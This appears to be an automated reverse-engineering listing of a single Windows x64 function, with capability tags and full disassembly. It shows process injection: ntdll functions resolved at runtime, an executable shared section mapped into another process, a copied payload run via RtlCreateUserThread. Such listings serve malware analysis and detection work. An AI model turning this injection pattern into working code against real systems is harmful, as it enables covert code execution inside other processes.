Function at 0x1400b49f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x210
lea rsi, [0x1400ba080]
lea r13, [rsp + 0xd0]
mov rbx, rdx
call fcn.14000c9ae
mov rdi, r13
mov ecx, 0x27
mov qword [rsp + 0x58], 0x1000
rep movsq qword [rdi], qword [rsi]
mov rcx, qword [rbx + 8]
mov qword [rsp + 0x60], 0x1000
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x80], 0
movzx eax, word [rsi]
mov word [rdi], ax
call fcn.140014570
pxor xmm0, xmm0
lea rcx, str.ntdll
mov dword [rsp + 0xa0], 0x30
mov eax, eax
movups xmmword [rsp + 0xa8], xmm0
movaps xmmword [rsp + 0xc0], xmm0
mov dword [rsp + 0xb8], 0
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rsi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtOpenProcess
mov rbx, rax
mov rcx, rax
call rsi
mov rcx, rbx
lea rdx, str.NtCreateSection
mov r14, rax
call rsi
mov rcx, rbx
lea rdx, str.NtMapViewOfSection
mov r12, rax
call rsi
mov rcx, rbx
lea rdx, str.RtlCreateUserThread
mov rdi, rax
call rsi
mov rcx, rbx
lea rdx, str.ZwUnmapViewOfSection
mov rbp, rax
call rsi
lea rcx, [rsp + 0x68]
lea r9, [rsp + 0x60]
xor r8d, r8d
mov edx, 0xe
mov rbx, rax
mov qword [rsp + 0x30], 0
lea rsi, [rsp + 0x58]
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0x40
call r12
mov r12, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call r12
mov rcx, qword [rsp + 0x68]
xor r9d, r9d
lea r8, [rsp + 0x70]
mov rdx, rax
mov dword [rsp + 0x48], 4
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 2
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call rdi
mov edx, 0x1fffff
mov qword [rsp + 0x88], 0
lea rcx, [rsp + 0x88]
lea r9, [rsp + 0x90]
lea r8, [rsp + 0xa0]
call r14
mov rdx, qword [rsp + 0x88]
test rdx, rdx
je 0x1400b4cf2
xor r9d, r9d
mov qword [rsp + 0x30], rsi
mov rsi, r13
mov rcx, qword [rsp + 0x68]
lea r8, [rsp + 0x78]
mov dword [rsp + 0x48], 0x20
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 2
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call rdi
mov rcx, qword [rsp + 0x70]
xor edx, edx
xor r9d, r9d
mov rax, qword [rsp + 0xd0]
xor r8d, r8d
lea rdi, [rcx + 8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x202]
and rdi, 0xfffffffffffffff8
mov qword [rcx + 0x132], rax
sub rcx, rdi
lea rax, [rsp + 0x80]
sub rsi, rcx
add ecx, 0x13a
shr ecx, 3
rep movsq qword [rdi], qword [rsi]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 0
mov rax, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x88]
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x20], 0
call rbp
mov rcx, qword [rsp + 0x80]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
je 0x1400b4cfe
mov rsi, qword [rsp + 0x70]
call r12
mov rcx, rax
mov rdx, rsi
call rbx
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x88]
call rbx
mov rcx, qword [rsp + 0x68]
mov rbx, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rbx
mov rcx, qword [rsp + 0x88]
call rbx
xor eax, eax
add rsp, 0x210
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
lea rcx, str.failed_to_open_process_:__n
call fcn.140014610
mov eax, 0xfffffffe
jmp 0x1400b4ce0